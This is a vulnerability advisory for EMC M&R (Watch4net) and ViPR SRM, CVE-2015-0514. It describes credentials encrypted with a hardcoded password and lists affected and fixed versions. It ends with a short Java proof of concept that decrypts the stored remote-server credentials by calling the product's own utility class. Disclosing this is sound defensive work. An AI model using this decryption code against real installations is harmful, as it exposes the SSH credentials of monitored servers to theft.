AbstractIt was discovered that EMCM&R(Watch4net) credentials of remote servers stored in Watch4net are encrypted using a fixed hardcoded password. If an attacker manages toobtain a copy of the encrypted credentials, it is trivial todecryptthem.
Affected products
EMC reports that the following products are affected by this vulnerability:-EMCM&R(Watch4Net) versions prior 6.5u1
-EMCViPRSRM versions prior to3.6.1See also
-CVE-2015-0514-ESA-2015-004:EMCM&R(Watch4Net)MultipleVulnerabilities-ESA-2015-004:EMCM&R(Watch4Net)MultipleVulnerabilities(login required)FixEMC released the following updated versions that resolve this vulnerability:-EMCM&R(Watch4Net)6.5u1
-EMCViPRSRM3.6.1Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM.
IntroductionEMCM&R(formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard.
TheRemote-Shell-CollectormodulefromEMCM&R(Watch4net) can push and run executable files on remote hosts tocollect performance data from storage environments. Remote-Shell-CollectorusesSSHforthispurpose.
In order topush and collect monitoring data, accounts are created on the remote servers and credentials of these remote servers are stored in Watch4net. These credentials are encrypted using a fixed hardcoded password. If an attacker manages toobtain a copy of the encrypted credentials, it is trivial todecryptthem.
DetailsDuetoinsecure use of cryptography the credentials of these remote host can be decrypted using the Javaclasscom.watch4net.apg.v2.common.config.tools.Utils.process().Proof of concept
importcom.watch4net.apg.v2.common.config.tools.Utils;publicclassWatch4NetCrypt{privatestaticvoidprint(String out){System.out.println(out);}privatestaticvoidusage(){print("Usage:\t watch4netcrypt [-e] password");print("\t watch4netcrypt [-d] encrypted");System.exit(1);}publicstaticvoidmain(String[] args){if(args.length !=2||!("-e".equals(args[0])||"-d".equals(args[0]))){usage();}Boolean encrypt ="-e".equals(args[0]);String password = args[1];if(password !=null){print(Utils.process(password, encrypt,"centralized",null));}}